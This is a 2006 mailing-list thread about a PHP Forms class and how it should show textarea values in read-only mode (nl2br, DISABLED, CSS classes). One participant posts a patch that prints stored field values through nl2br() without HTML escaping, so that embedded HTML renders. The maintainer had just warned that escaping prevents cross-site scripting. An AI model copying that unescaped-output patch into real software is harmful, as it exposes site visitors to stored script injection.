Loading ...
Sorry, an error occurred while loading the content.

Re: [forms-dev] CLASS, TextArea, Error, etc.

Expand Messages
  • Manuel Lemos
    Hello, ... It would solve your problem but not everybody would like that behavior. Why don t you just set the CLASS attribute for all fields when you set the
    Message 1 of 12 , Feb 8, 2006
    • 0 Attachment
      Hello,

      on 02/07/2006 11:43 AM Shekar C. Reddy said the following:
      > 1. I use a gradient background box for elements in edit mode by
      > setting their CLASS attribute during AddInput() but when the form is
      > rendered in ReadOnly mode, the elements are rendered with the same
      > CLASS attribute that make them look like they are still edit boxes
      > (but they are not). I'm currently clearing the CLASS attributes for
      > ReadOnly mode, like so:
      >
      > if ( self::$form->ReadOnly )
      > {
      > // Clear all input CLASS properties to display in a plain format
      > foreach ( self::$form->inputs as $key => &$element )
      > $element[ self::INPUT_CLASS ] = '';
      > }
      >
      > Could you do this inside the class itself?

      It would solve your problem but not everybody would like that behavior.

      Why don't you just set the CLASS attribute for all fields when you set
      the form ReadOnly mode?


      > 2. TextArea elements are rendered as-is without doing a nl2br() to
      > properly format the CR-LFs in ReadOnly mode. Further, HTML tags are

      Yes, it seems that a nl2br call is missing to preserve the original line
      breaks.


      > generated in their text format even if I manually do
      > html_entity_decode() or nl2br() - losing the line breaks:

      The class calls HtmlEntities or HtmlSpecialChars to escape characters
      that have special meaning in HTML. If I would not that, sites that use
      the class could become vulnerable to cross-site scripting attacks.


      > 3. For columns that failed server-side validations, I'm using the
      > following logic in my templates to display their labels in Red color:
      >
      > {if isset( $ds.page.invalid.email )}
      > <span class="Error">
      > {/if}
      > {label for="email"}:
      > {if isset( $ds.page.invalid.email )}
      > </span>
      > {/if}
      >
      > This is resulting in repetitive code for each column and in every
      > template! Could you plug this code in the class itself in one place
      > instead and save us the redundancy? You may have to provide a class
      > variable to optionally hold the Error class to apply in case of an
      > error for each input's label.

      Yes, I have thought about that for a while but it requires more work
      than expected. The problem is that the validation is disconnected from
      the presentation. Currently the class does not keep any internal
      information about all fields that failed validation. I would need to add
      that.

      Another problem is sub-forms. If you tell the class to validate only a
      sub-form, it will not check fields that do not belong to that form, so
      they would not be flagged as invalid.

      Another problem is the client side behavior. If I add property to switch
      the input class or style when it is invalid, certainly you would like to
      make the class switch the style of the field during client side
      validation. This means that if you validate the form again on the client
      side, it must reset the site of previously invalid fields to be consistent.

      Somebody has already asked for this before. As you may see it is not as
      trivial as you may imagine.

      Anyway, don't worry, it will be implemented soon or later, I just need
      to give it more thought to solve properly all the problems I mentioned.
      Thank you for the suggestion.


      --

      Regards,
      Manuel Lemos

      Metastorage - Data object relational mapping layer generator
      http://www.metastorage.net/

      PHP Classes - Free ready to use OOP components written in PHP
      http://www.phpclasses.org/
    • Shekar C. Reddy
      Please let us know once you have uploaded the newer version with the missing nl2br() function. Thanks much, ... form is ... same ... boxes ... for ... format
      Message 2 of 12 , Feb 8, 2006
      • 0 Attachment
        Please let us know once you have uploaded the newer version with
        the 'missing' nl2br() function.

        Thanks much,




        --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@...> wrote:
        >
        > Hello,
        >
        > on 02/07/2006 11:43 AM Shekar C. Reddy said the following:
        > > 1. I use a gradient background box for elements in edit mode by
        > > setting their CLASS attribute during AddInput() but when the
        form is
        > > rendered in ReadOnly mode, the elements are rendered with the
        same
        > > CLASS attribute that make them look like they are still edit
        boxes
        > > (but they are not). I'm currently clearing the CLASS attributes
        for
        > > ReadOnly mode, like so:
        > >
        > > if ( self::$form->ReadOnly )
        > > {
        > > // Clear all input CLASS properties to display in a plain
        format
        > > foreach ( self::$form->inputs as $key => &$element )
        > > $element[ self::INPUT_CLASS ] = '';
        > > }
        > >
        > > Could you do this inside the class itself?
        >
        > It would solve your problem but not everybody would like that
        behavior.
        >
        > Why don't you just set the CLASS attribute for all fields when you
        set
        > the form ReadOnly mode?
        >
        >
        > > 2. TextArea elements are rendered as-is without doing a nl2br()
        to
        > > properly format the CR-LFs in ReadOnly mode. Further, HTML tags
        are
        >
        > Yes, it seems that a nl2br call is missing to preserve the
        original line
        > breaks.
        >
        >
        > > generated in their text format even if I manually do
        > > html_entity_decode() or nl2br() - losing the line breaks:
        >
        > The class calls HtmlEntities or HtmlSpecialChars to escape
        characters
        > that have special meaning in HTML. If I would not that, sites that
        use
        > the class could become vulnerable to cross-site scripting attacks.
        >
        >
        > > 3. For columns that failed server-side validations, I'm using
        the
        > > following logic in my templates to display their labels in Red
        color:
        > >
        > > {if isset( $ds.page.invalid.email )}
        > > <span class="Error">
        > > {/if}
        > > {label for="email"}:
        > > {if isset( $ds.page.invalid.email )}
        > > </span>
        > > {/if}
        > >
        > > This is resulting in repetitive code for each column and in
        every
        > > template! Could you plug this code in the class itself in one
        place
        > > instead and save us the redundancy? You may have to provide a
        class
        > > variable to optionally hold the Error class to apply in case of
        an
        > > error for each input's label.
        >
        > Yes, I have thought about that for a while but it requires more
        work
        > than expected. The problem is that the validation is disconnected
        from
        > the presentation. Currently the class does not keep any internal
        > information about all fields that failed validation. I would need
        to add
        > that.
        >
        > Another problem is sub-forms. If you tell the class to validate
        only a
        > sub-form, it will not check fields that do not belong to that
        form, so
        > they would not be flagged as invalid.
        >
        > Another problem is the client side behavior. If I add property to
        switch
        > the input class or style when it is invalid, certainly you would
        like to
        > make the class switch the style of the field during client side
        > validation. This means that if you validate the form again on the
        client
        > side, it must reset the site of previously invalid fields to be
        consistent.
        >
        > Somebody has already asked for this before. As you may see it is
        not as
        > trivial as you may imagine.
        >
        > Anyway, don't worry, it will be implemented soon or later, I just
        need
        > to give it more thought to solve properly all the problems I
        mentioned.
        > Thank you for the suggestion.
        >
        >
        > --
        >
        > Regards,
        > Manuel Lemos
        >
        > Metastorage - Data object relational mapping layer generator
        > http://www.metastorage.net/
        >
        > PHP Classes - Free ready to use OOP components written in PHP
        > http://www.phpclasses.org/
      • Manuel Lemos
        Hello, ... I have added this but I don t know if it is enough to emulate the textarea presentation in read-only mode. What happens is that even using nl2br(),
        Message 3 of 12 , Feb 9, 2006
        • 0 Attachment
          Hello,

          on 02/08/2006 08:55 PM Shekar C. Reddy said the following:
          > Please let us know once you have uploaded the newer version with
          > the 'missing' nl2br() function.

          I have added this but I don't know if it is enough to emulate the
          textarea presentation in read-only mode.

          What happens is that even using nl2br(), the text is rendered in the
          normal page font and lines longer than the COLS property value do not
          wrap around the lines.

          Alternatively, I thought of using <PRE> instead of <SPAN> and use PHP
          wordwrap function to make lines not exceed the COLS length. It looks
          better but it may not honor the wrap mode eventually set by CSS STYLE or
          CLASS.

          Another alternative is to simply make the textarea render with the usual
          tags but adding the DISABLED attribute. This seems to be the alternative
          that makes the field look more like a textarea in read only mode,
          except that its values are not submited.

          I do have not used much this attribute, so I am not sure what would be
          the best option. What do you think?

          --

          Regards,
          Manuel Lemos

          Metastorage - Data object relational mapping layer generator
          http://www.metastorage.net/

          PHP Classes - Free ready to use OOP components written in PHP
          http://www.phpclasses.org/
        • Shekar C. Reddy
          I ve downloaded the current copy from PHPClasses but got the same old version. Could you give me a link to the new version or email me the forms.php? I dumped
          Message 4 of 12 , Feb 9, 2006
          • 0 Attachment
            I've downloaded the current copy from PHPClasses but got the same
            old version. Could you give me a link to the new version or email me
            the forms.php?

            I dumped text columns using nl2br() before using Smarty and it
            rendered the content in its original format with all the line breaks
            and other HTML formatting intact. In fact, I dumped some debugged
            output using the Forms class, too - directly accessing the form's
            variables and it worked with nl2br() but it does not work when added
            as input to the template as it is losing its virginity by the time
            it is making it to the template. Generally, nl2br() should be
            adequate. It does not look original when rendered with <pre>,
            <span>, <textarea> or wordwrap (I STYLE textareas with width/height
            percentages and do not use COLS attribute).

            I can test it and let you know the outcome once I get the updated
            version.

            Thanks,



            --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@...> wrote:
            >
            > Hello,
            >
            > on 02/08/2006 08:55 PM Shekar C. Reddy said the following:
            > > Please let us know once you have uploaded the newer version with
            > > the 'missing' nl2br() function.
            >
            > I have added this but I don't know if it is enough to emulate the
            > textarea presentation in read-only mode.
            >
            > What happens is that even using nl2br(), the text is rendered in
            the
            > normal page font and lines longer than the COLS property value do
            not
            > wrap around the lines.
            >
            > Alternatively, I thought of using <PRE> instead of <SPAN> and use
            PHP
            > wordwrap function to make lines not exceed the COLS length. It
            looks
            > better but it may not honor the wrap mode eventually set by CSS
            STYLE or
            > CLASS.
            >
            > Another alternative is to simply make the textarea render with the
            usual
            > tags but adding the DISABLED attribute. This seems to be the
            alternative
            > that makes the field look more like a textarea in read only mode,
            > except that its values are not submited.
            >
            > I do have not used much this attribute, so I am not sure what
            would be
            > the best option. What do you think?
            >
            > --
            >
            > Regards,
            > Manuel Lemos
            >
            > Metastorage - Data object relational mapping layer generator
            > http://www.metastorage.net/
            >
            > PHP Classes - Free ready to use OOP components written in PHP
            > http://www.phpclasses.org/
            >
          • Manuel Lemos
            Hello, ... I have not uploaded it. We are just discussion to figure what would be the best solution. ... That may work if the lines are not too long. If they
            Message 5 of 12 , Feb 12, 2006
            • 0 Attachment
              Hello,

              on 02/10/2006 02:12 AM Shekar C. Reddy said the following:
              > I've downloaded the current copy from PHPClasses but got the same
              > old version. Could you give me a link to the new version or email me
              > the forms.php?

              I have not uploaded it. We are just discussion to figure what would be
              the best solution.


              > I dumped text columns using nl2br() before using Smarty and it
              > rendered the content in its original format with all the line breaks

              That may work if the lines are not too long. If they exceed the COLS
              limit, it does not look correct.


              > and other HTML formatting intact. In fact, I dumped some debugged
              > output using the Forms class, too - directly accessing the form's
              > variables and it worked with nl2br() but it does not work when added
              > as input to the template as it is losing its virginity by the time
              > it is making it to the template. Generally, nl2br() should be
              > adequate. It does not look original when rendered with <pre>,
              > <span>, <textarea> or wordwrap (I STYLE textareas with width/height
              > percentages and do not use COLS attribute).

              I think if you render textarea with DISABLED it still honors your STYLE
              and CLASS parameters like with textarea without DISABLED. I think that
              may be the best option.

              --

              Regards,
              Manuel Lemos

              Metastorage - Data object relational mapping layer generator
              http://www.metastorage.net/

              PHP Classes - Free ready to use OOP components written in PHP
              http://www.phpclasses.org/
            • Shekar C. Reddy
              I guess in read-only mode, all we are interested is in replacing the new-line chars (such as paragraphs) with the tags. Since the text is rendered in
              Message 6 of 12 , Feb 12, 2006
              • 0 Attachment
                I guess in read-only mode, all we are interested is in replacing the
                new-line chars (such as paragraphs) with the <br /> tags. Since the
                text is rendered in readonly mode, depending on the width of the
                browser - it can wordwrap to the maximum width possible. It does not
                matter if the text dump does not display in the exact number of
                rows/columns that were used to originally capture data as long as it
                replaces new-line chars with <br />s. Even if we originally used
                rows/cols attributes while capturing the data, the text
                actually 'word-wrapped' (ASCII 141 or 142 - don't remember) at the
                end of each line which is a continuation of the current
                line/sentence (that is not equal to a new line char: ASCII 10 & 13)
                except paragraph breaks and short lines. Displaying of textarea with
                the exact number of rows/cols is generally done for email messages
                and forum messages but for long documents such as news articles they
                are dumped with nl2br(). Please correct me if I am wrong.

                On the other hand, text selection may be a problem if we render
                using a disabled textarea in readonly mode. If we lasso the mouse to
                select the text of all the other columns alongwith the disabled
                textarea - it is different from selecting a simple readonly text
                dump of the columns. Rendering it with a disabled textarea tag loses
                the 'fluidity' of the readonly mode.

                Alternately, a better way of doing this is to offer an OPTION to
                render text with nl2br() or disabled <textarea> in readonly mode
                which would satisfy both groups of users: ReadOnlyTextArea - similar
                to ReadOnlyMark. You could let me know where to insert the code and
                I can modify the forms.php locally and let you know how it looks. It
                looked great and perfect when I dumped some debugged output with
                nl2br() earlier.

                Thanks,



                --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@...> wrote:
                >
                > Hello,
                >
                > on 02/10/2006 02:12 AM Shekar C. Reddy said the following:
                > > I've downloaded the current copy from PHPClasses but got the
                same
                > > old version. Could you give me a link to the new version or
                email me
                > > the forms.php?
                >
                > I have not uploaded it. We are just discussion to figure what
                would be
                > the best solution.
                >
                >
                > > I dumped text columns using nl2br() before using Smarty and it
                > > rendered the content in its original format with all the line
                breaks
                >
                > That may work if the lines are not too long. If they exceed the
                COLS
                > limit, it does not look correct.
                >
                >
                > > and other HTML formatting intact. In fact, I dumped some
                debugged
                > > output using the Forms class, too - directly accessing the
                form's
                > > variables and it worked with nl2br() but it does not work when
                added
                > > as input to the template as it is losing its virginity by the
                time
                > > it is making it to the template. Generally, nl2br() should be
                > > adequate. It does not look original when rendered with <pre>,
                > > <span>, <textarea> or wordwrap (I STYLE textareas with
                width/height
                > > percentages and do not use COLS attribute).
                >
                > I think if you render textarea with DISABLED it still honors your
                STYLE
                > and CLASS parameters like with textarea without DISABLED. I think
                that
                > may be the best option.
                >
                > --
                >
                > Regards,
                > Manuel Lemos
                >
                > Metastorage - Data object relational mapping layer generator
                > http://www.metastorage.net/
                >
                > PHP Classes - Free ready to use OOP components written in PHP
                > http://www.phpclasses.org/
                >
              • Manuel Lemos
                Hello, ... The ReadOnly mode was originally meant to render the values as using DISABLED. When a form is submited, read-only field values are not sent. The
                Message 7 of 12 , Feb 14, 2006
                • 0 Attachment
                  Hello,

                  on 02/13/2006 05:21 AM Shekar C. Reddy said the following:
                  > I guess in read-only mode, all we are interested is in replacing the
                  > new-line chars (such as paragraphs) with the <br /> tags. Since the
                  > text is rendered in readonly mode, depending on the width of the
                  > browser - it can wordwrap to the maximum width possible. It does not
                  > matter if the text dump does not display in the exact number of
                  > rows/columns that were used to originally capture data as long as it
                  > replaces new-line chars with <br />s. Even if we originally used
                  > rows/cols attributes while capturing the data, the text
                  > actually 'word-wrapped' (ASCII 141 or 142 - don't remember) at the
                  > end of each line which is a continuation of the current
                  > line/sentence (that is not equal to a new line char: ASCII 10 & 13)
                  > except paragraph breaks and short lines. Displaying of textarea with
                  > the exact number of rows/cols is generally done for email messages
                  > and forum messages but for long documents such as news articles they
                  > are dumped with nl2br(). Please correct me if I am wrong.
                  >
                  > On the other hand, text selection may be a problem if we render
                  > using a disabled textarea in readonly mode. If we lasso the mouse to
                  > select the text of all the other columns alongwith the disabled
                  > textarea - it is different from selecting a simple readonly text
                  > dump of the columns. Rendering it with a disabled textarea tag loses
                  > the 'fluidity' of the readonly mode.
                  >
                  > Alternately, a better way of doing this is to offer an OPTION to
                  > render text with nl2br() or disabled <textarea> in readonly mode
                  > which would satisfy both groups of users: ReadOnlyTextArea - similar
                  > to ReadOnlyMark. You could let me know where to insert the code and
                  > I can modify the forms.php locally and let you know how it looks. It
                  > looked great and perfect when I dumped some debugged output with
                  > nl2br() earlier.

                  The ReadOnly mode was originally meant to render the values as using
                  DISABLED. When a form is submited, read-only field values are not sent.
                  The reason it has been working this way is because DISABLED was not
                  supported by older browsers. Practically all browsers support DISABLED
                  now. It seems to output the field the way it is more consistent with the
                  original field, which is what I think what most people expect.

                  For now, I made the textarea render with DISABLED in read-only mode. I
                  think I should make all other fields render also with DISABLED under
                  read-only mode too.

                  I have not uploaded the changed class yet. Here you may find the latest
                  version so you can try it:

                  http://www.meta-language.net/cvs/forms/forms.php?rev=HEAD;content-type=text%2Fplain

                  --

                  Regards,
                  Manuel Lemos

                  Metastorage - Data object relational mapping layer generator
                  http://www.metastorage.net/

                  PHP Classes - Free ready to use OOP components written in PHP
                  http://www.phpclasses.org/
                • Shekar C. Reddy
                  Manuel, Could you please offer an additional option to render textarea with nl2br(), too? I work on an application that gathers lengthy news items and they do
                  Message 8 of 12 , Feb 15, 2006
                  • 0 Attachment
                    Manuel,

                    Could you please offer an additional option to render textarea with
                    nl2br(), too? I work on an application that gathers lengthy news
                    items and they do 'not' have to be rendered with the exact number of
                    rows/cols in read-only mode that were used in the form to capture
                    it. The content part of our pages is text in read-only mode that
                    expands/shinks relative to the width of the browser. This would
                    satisfy both groups of the users. Here are some inconsistencies I
                    noticed with disabled textarea:

                    . The vertical scrollbar is not visible. The user has to hold the
                    mouse down and lasso it down the bottom border of the textarea to
                    scroll down (this actually selects text as it scrolls down). Many
                    laymen users do not know how to do this and they cannot scroll
                    down/up, anyway.

                    . All HTML formatting embeded inside the text is rendered as 'text'
                    in disabled textarea. Whereas nl2br() renders all HTML inside the
                    text as-is when dumped as text. Rendering embeded HTML inside the
                    text is very important to many applications; otherwise, the embeded
                    HTML tags don't make sense to the reader/end-user. Plain/readonly
                    text becomes an 'integral' part of the page which makes it look
                    natural.

                    . If we use "width: 100%;" styling, the textarea shrinks/expands as
                    per the width of the browser losing the original number of
                    rows/cols. Instead, if we use rows/cols, there is some 'wasted'
                    space when the browser is maximized because the textarea does not
                    expand. For most applications, rows/cols is specified only during
                    capturing the text in edit mode after which it is upto the developer
                    to render it in whatever way he wants.

                    . User has to scroll the disabled textarea manually using the mouse
                    (without a scrollbar) in addition to scrolling the page. Plain text
                    dumping needs just page scrolling. This can be roughly compared to
                    the user-friendliness of a dropdown-vs-radiobuttons.

                    . The text is gray (disabled) compared to other columns (black).

                    Here are some examples of how text looks/expands/shrinks and goes
                    with page-scrolling on lengthy articles:

                    http://www.phpclasses.org/reviews/id/B0000A432X.html

                    http://www.nytimes.com/2006/02/15/politics/15cheney.html?
                    hp&ex=1140066000&en=4115ca90864b33ca&ei=5094&partner=homepage


                    > I think I should make all other fields render also with DISABLED
                    > under read-only mode too.

                    All of our rendering in our applications is to dump the field-text
                    in read-only mode and by means of input elements in edit mode,
                    similar to:

                    <td>
                    {if $page.mode == 'edit'}
                    <input type="text" name="id" value="$data.id" ...>
                    {if $page.mode == 'add'}
                    <input type="text" name="id" value="" ...>
                    {else}
                    {$data.id}
                    {/if}
                    </td>

                    This is the standard approach we have been following on all our
                    applications/projects so far. The Forms class has been doing
                    a 'great' job with respect to the above concept - AUTOMATICALLY. If
                    you want to render data with disabled elements in read-only mode,
                    could you please make it an 'additional' optional to render as
                    disabled or text (as it does now)? This would satisfy all users and
                    make the class friendlier.

                    Thanks much,




                    --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@...> wrote:
                    >
                    > Hello,
                    >
                    > on 02/13/2006 05:21 AM Shekar C. Reddy said the following:
                    > > I guess in read-only mode, all we are interested is in replacing
                    the
                    > > new-line chars (such as paragraphs) with the <br /> tags. Since
                    the
                    > > text is rendered in readonly mode, depending on the width of the
                    > > browser - it can wordwrap to the maximum width possible. It does
                    not
                    > > matter if the text dump does not display in the exact number of
                    > > rows/columns that were used to originally capture data as long
                    as it
                    > > replaces new-line chars with <br />s. Even if we originally used
                    > > rows/cols attributes while capturing the data, the text
                    > > actually 'word-wrapped' (ASCII 141 or 142 - don't remember) at
                    the
                    > > end of each line which is a continuation of the current
                    > > line/sentence (that is not equal to a new line char: ASCII 10 &
                    13)
                    > > except paragraph breaks and short lines. Displaying of textarea
                    with
                    > > the exact number of rows/cols is generally done for email
                    messages
                    > > and forum messages but for long documents such as news articles
                    they
                    > > are dumped with nl2br(). Please correct me if I am wrong.
                    > >
                    > > On the other hand, text selection may be a problem if we render
                    > > using a disabled textarea in readonly mode. If we lasso the
                    mouse to
                    > > select the text of all the other columns alongwith the disabled
                    > > textarea - it is different from selecting a simple readonly text
                    > > dump of the columns. Rendering it with a disabled textarea tag
                    loses
                    > > the 'fluidity' of the readonly mode.
                    > >
                    > > Alternately, a better way of doing this is to offer an OPTION to
                    > > render text with nl2br() or disabled <textarea> in readonly mode
                    > > which would satisfy both groups of users: ReadOnlyTextArea -
                    similar
                    > > to ReadOnlyMark. You could let me know where to insert the code
                    and
                    > > I can modify the forms.php locally and let you know how it
                    looks. It
                    > > looked great and perfect when I dumped some debugged output with
                    > > nl2br() earlier.
                    >
                    > The ReadOnly mode was originally meant to render the values as
                    using
                    > DISABLED. When a form is submited, read-only field values are not
                    sent.
                    > The reason it has been working this way is because DISABLED was not
                    > supported by older browsers. Practically all browsers support
                    DISABLED
                    > now. It seems to output the field the way it is more consistent
                    with the
                    > original field, which is what I think what most people expect.
                    >
                    > For now, I made the textarea render with DISABLED in read-only
                    mode. I
                    > think I should make all other fields render also with DISABLED
                    under
                    > read-only mode too.
                    >
                    > I have not uploaded the changed class yet. Here you may find the
                    latest
                    > version so you can try it:
                    >
                    > http://www.meta-language.net/cvs/forms/forms.php?rev=HEAD;content-
                    type=text%2Fplain
                    >
                    > --
                    >
                    > Regards,
                    > Manuel Lemos
                    >
                    > Metastorage - Data object relational mapping layer generator
                    > http://www.metastorage.net/
                    >
                    > PHP Classes - Free ready to use OOP components written in PHP
                    > http://www.phpclasses.org/
                    >
                  • Shekar C. Reddy
                    Manuel, I just modified the forms.php: Function OutputInput(&$input, $input_id, $input_read_only, $function, $eol, &$resubmit_condition) {
                    Message 9 of 12 , Feb 15, 2006
                    • 0 Attachment
                      Manuel,

                      I just modified the forms.php:

                      Function OutputInput(&$input, $input_id, $input_read_only,
                      $function, $eol, &$resubmit_condition)
                      {
                      switch($input["TYPE"])
                      {
                      case "textarea":
                      if ( $input_read_only )
                      $function( nl2br( $input[ 'VALUE']));
                      else
                      ...

                      and the text rendered PERFECTLY in readonly mode - with all the HTML
                      formatting intact! If you want to make it an additional option, you
                      may have to deal with it a bit differently.

                      Thanks,



                      --- In forms-dev@yahoogroups.com, "Shekar C. Reddy"
                      <powerobject@...> wrote:
                      Manuel,

                      Could you please offer an additional option to render textarea with
                      nl2br(), too? I work on an application that gathers lengthy news
                      items and they do 'not' have to be rendered with the exact number of
                      rows/cols in read-only mode that were used in the form to capture
                      it. The content part of our pages is text in read-only mode that
                      expands/shinks relative to the width of the browser. This would
                      satisfy both groups of the users. Here are some inconsistencies I
                      noticed with disabled textarea:

                      . The vertical scrollbar is not visible. The user has to hold the
                      mouse down and lasso it down the bottom border of the textarea to
                      scroll down (this actually selects text as it scrolls down). Many
                      laymen users do not know how to do this and they cannot scroll
                      down/up, anyway.

                      . All HTML formatting embeded inside the text is rendered as 'text'
                      in disabled textarea. Whereas nl2br() renders all HTML inside the
                      text as-is when dumped as text. Rendering embeded HTML inside the
                      text is very important to many applications; otherwise, the embeded
                      HTML tags don't make sense to the reader/end-user. Plain/readonly
                      text becomes an 'integral' part of the page which makes it look
                      natural.

                      . If we use "width: 100%;" styling, the textarea shrinks/expands as
                      per the width of the browser losing the original number of
                      rows/cols. Instead, if we use rows/cols, there is some 'wasted'
                      space when the browser is maximized because the textarea does not
                      expand. For most applications, rows/cols is specified only during
                      capturing the text in edit mode after which it is upto the developer
                      to render it in whatever way he wants.

                      . User has to scroll the disabled textarea manually using the mouse
                      (without a scrollbar) in addition to scrolling the page. Plain text
                      dumping needs just page scrolling. This can be roughly compared to
                      the user-friendliness of a dropdown-vs-radiobuttons.

                      . The text is gray (disabled) compared to other columns (black).

                      Here are some examples of how text looks/expands/shrinks and goes
                      with page-scrolling on lengthy articles:

                      http://www.phpclasses.org/reviews/id/B0000A432X.html

                      http://www.nytimes.com/2006/02/15/politics/15cheney.html?
                      hp&ex=1140066000&en=4115ca90864b33ca&ei=5094&partner=homepage


                      > I think I should make all other fields render also with DISABLED
                      > under read-only mode too.

                      All of our rendering in our applications is to dump the field-text
                      in read-only mode and by means of input elements in edit mode,
                      similar to:

                      <td>
                      {if $page.mode == 'edit'}
                      <input type="text" name="id" value="$data.id" ...>
                      {if $page.mode == 'add'}
                      <input type="text" name="id" value="" ...>
                      {else}
                      {$data.id}
                      {/if}
                      </td>

                      This is the standard approach we have been following on all our
                      applications/projects so far. The Forms class has been doing
                      a 'great' job with respect to the above concept - AUTOMATICALLY. If
                      you want to render data with disabled elements in read-only mode,
                      could you please make it an 'additional' optional to render as
                      disabled or text (as it does now)? This would satisfy all users and
                      make the class friendlier.

                      Thanks much,



                      >
                      >
                      >
                      >
                      > --- In forms-dev@yahoogroups.com, Manuel Lemos <mlemos@> wrote:
                      > >
                      > > Hello,
                      > >
                      > > on 02/13/2006 05:21 AM Shekar C. Reddy said the following:
                      > > > I guess in read-only mode, all we are interested is in
                      replacing
                      > the
                      > > > new-line chars (such as paragraphs) with the <br /> tags.
                      Since
                      > the
                      > > > text is rendered in readonly mode, depending on the width of
                      the
                      > > > browser - it can wordwrap to the maximum width possible. It
                      does
                      > not
                      > > > matter if the text dump does not display in the exact number
                      of
                      > > > rows/columns that were used to originally capture data as long
                      > as it
                      > > > replaces new-line chars with <br />s. Even if we originally
                      used
                      > > > rows/cols attributes while capturing the data, the text
                      > > > actually 'word-wrapped' (ASCII 141 or 142 - don't remember) at
                      > the
                      > > > end of each line which is a continuation of the current
                      > > > line/sentence (that is not equal to a new line char: ASCII 10
                      &
                      > 13)
                      > > > except paragraph breaks and short lines. Displaying of
                      textarea
                      > with
                      > > > the exact number of rows/cols is generally done for email
                      > messages
                      > > > and forum messages but for long documents such as news
                      articles
                      > they
                      > > > are dumped with nl2br(). Please correct me if I am wrong.
                      > > >
                      > > > On the other hand, text selection may be a problem if we
                      render
                      > > > using a disabled textarea in readonly mode. If we lasso the
                      > mouse to
                      > > > select the text of all the other columns alongwith the
                      disabled
                      > > > textarea - it is different from selecting a simple readonly
                      text
                      > > > dump of the columns. Rendering it with a disabled textarea tag
                      > loses
                      > > > the 'fluidity' of the readonly mode.
                      > > >
                      > > > Alternately, a better way of doing this is to offer an OPTION
                      to
                      > > > render text with nl2br() or disabled <textarea> in readonly
                      mode
                      > > > which would satisfy both groups of users: ReadOnlyTextArea -
                      > similar
                      > > > to ReadOnlyMark. You could let me know where to insert the
                      code
                      > and
                      > > > I can modify the forms.php locally and let you know how it
                      > looks. It
                      > > > looked great and perfect when I dumped some debugged output
                      with
                      > > > nl2br() earlier.
                      > >
                      > > The ReadOnly mode was originally meant to render the values as
                      > using
                      > > DISABLED. When a form is submited, read-only field values are
                      not
                      > sent.
                      > > The reason it has been working this way is because DISABLED was
                      not
                      > > supported by older browsers. Practically all browsers support
                      > DISABLED
                      > > now. It seems to output the field the way it is more consistent
                      > with the
                      > > original field, which is what I think what most people expect.
                      > >
                      > > For now, I made the textarea render with DISABLED in read-only
                      > mode. I
                      > > think I should make all other fields render also with DISABLED
                      > under
                      > > read-only mode too.
                      > >
                      > > I have not uploaded the changed class yet. Here you may find the
                      > latest
                      > > version so you can try it:
                      > >
                      > > http://www.meta-language.net/cvs/forms/forms.php?
                      rev=HEAD;content-
                      > type=text%2Fplain
                      > >
                      > > --
                      > >
                      > > Regards,
                      > > Manuel Lemos
                      > >
                      > > Metastorage - Data object relational mapping layer generator
                      > > http://www.metastorage.net/
                      > >
                      > > PHP Classes - Free ready to use OOP components written in PHP
                      > > http://www.phpclasses.org/
                      > >
                      >
                    • Shekar C. Reddy
                      Hello, I guess I wasn t clear with the what I was trying to say. I use the Forms class to render forms DIRECTLY in view mode - bypassing the form submission
                      Message 10 of 12 , Feb 15, 2006
                      • 0 Attachment
                        Hello,

                        I guess I wasn't clear with the what I was trying to say. I use the
                        Forms class to render forms DIRECTLY in 'view' mode - bypassing the
                        form submission and Validate() function by setting its ReadOnly mode
                        and going straight to fetch, FormCaptureOutput, assign and display.
                        Maybe, people use the Forms class only for submission, validation
                        and all but this works for me gracefully in displaying existing data
                        in VIEW mode and 're-using' the added inputs and existing templates.
                        So, its the same form that I use to add, edit, view, etc - without
                        repeating the code. In view-mode case, the textareas need to be
                        rendered with nl2br() and other fields in plain text as in:

                        http://www.phpclasses.org/reviews/id/B0000A432X.html

                        http://www.nytimes.com/2006/02/15/politics/15cheney.html?
                        hp&ex=1140066000&en=4115ca90864b33ca&ei=5094&partner=homepage

                        In the first example, the lables and columns are displayed in their
                        natural text-form as:

                        Title
                        PHP Architect magazine (printed edition)

                        Category
                        PHP magazines

                        Publisher
                        Marco Tabini & Associates Inc

                        Frequency
                        Monthly

                        Sales ranking
                        Week: 2
                        All time: 1


                        Hope the above is clear so you could offer nl2br as an option for
                        textareas. Also, please see my earlier messages below...

                        Thanks,




                        --- In forms-dev@yahoogroups.com, "Shekar C. Reddy"
                        <powerobject@...> wrote:
                        Manuel,

                        I just modified the forms.php:

                        Function OutputInput(&$input, $input_id, $input_read_only,
                        $function, $eol, &$resubmit_condition)
                        {
                        switch($input["TYPE"])
                        {
                        case "textarea":
                        if ( $input_read_only )
                        $function( nl2br( $input[ 'VALUE']));
                        else
                        ...

                        and the text rendered PERFECTLY in readonly mode - with all the HTML
                        formatting intact! If you want to make it an additional option, you
                        may have to deal with it a bit differently.

                        Thanks,



                        --- In forms-dev@yahoogroups.com, "Shekar C. Reddy"
                        <powerobject@...> wrote:
                        Manuel,

                        Could you please offer an additional option to render textarea with
                        nl2br(), too? I work on an application that gathers lengthy news
                        items and they do 'not' have to be rendered with the exact number of
                        rows/cols in read-only mode that were used in the form to capture
                        it. The content part of our pages is text in read-only mode that
                        expands/shinks relative to the width of the browser. This would
                        satisfy both groups of the users. Here are some inconsistencies I
                        noticed with disabled textarea:

                        . The vertical scrollbar is not visible. The user has to hold the
                        mouse down and lasso it down the bottom border of the textarea to
                        scroll down (this actually selects text as it scrolls down). Many
                        laymen users do not know how to do this and they cannot scroll
                        down/up, anyway.

                        . All HTML formatting embeded inside the text is rendered as 'text'
                        in disabled textarea. Whereas nl2br() renders all HTML inside the
                        text as-is when dumped as text. Rendering embeded HTML inside the
                        text is very important to many applications; otherwise, the embeded
                        HTML tags don't make sense to the reader/end-user. Plain/readonly
                        text becomes an 'integral' part of the page which makes it look
                        natural.

                        . If we use "width: 100%;" styling, the textarea shrinks/expands as
                        per the width of the browser losing the original number of
                        rows/cols. Instead, if we use rows/cols, there is some 'wasted'
                        space when the browser is maximized because the textarea does not
                        expand. For most applications, rows/cols is specified only during
                        capturing the text in edit mode after which it is upto the developer
                        to render it in whatever way he wants.

                        . User has to scroll the disabled textarea manually using the mouse
                        (without a scrollbar) in addition to scrolling the page. Plain text
                        dumping needs just page scrolling. This can be roughly compared to
                        the user-friendliness of a dropdown-vs-radiobuttons.

                        . The text is gray (disabled) compared to other columns (black).

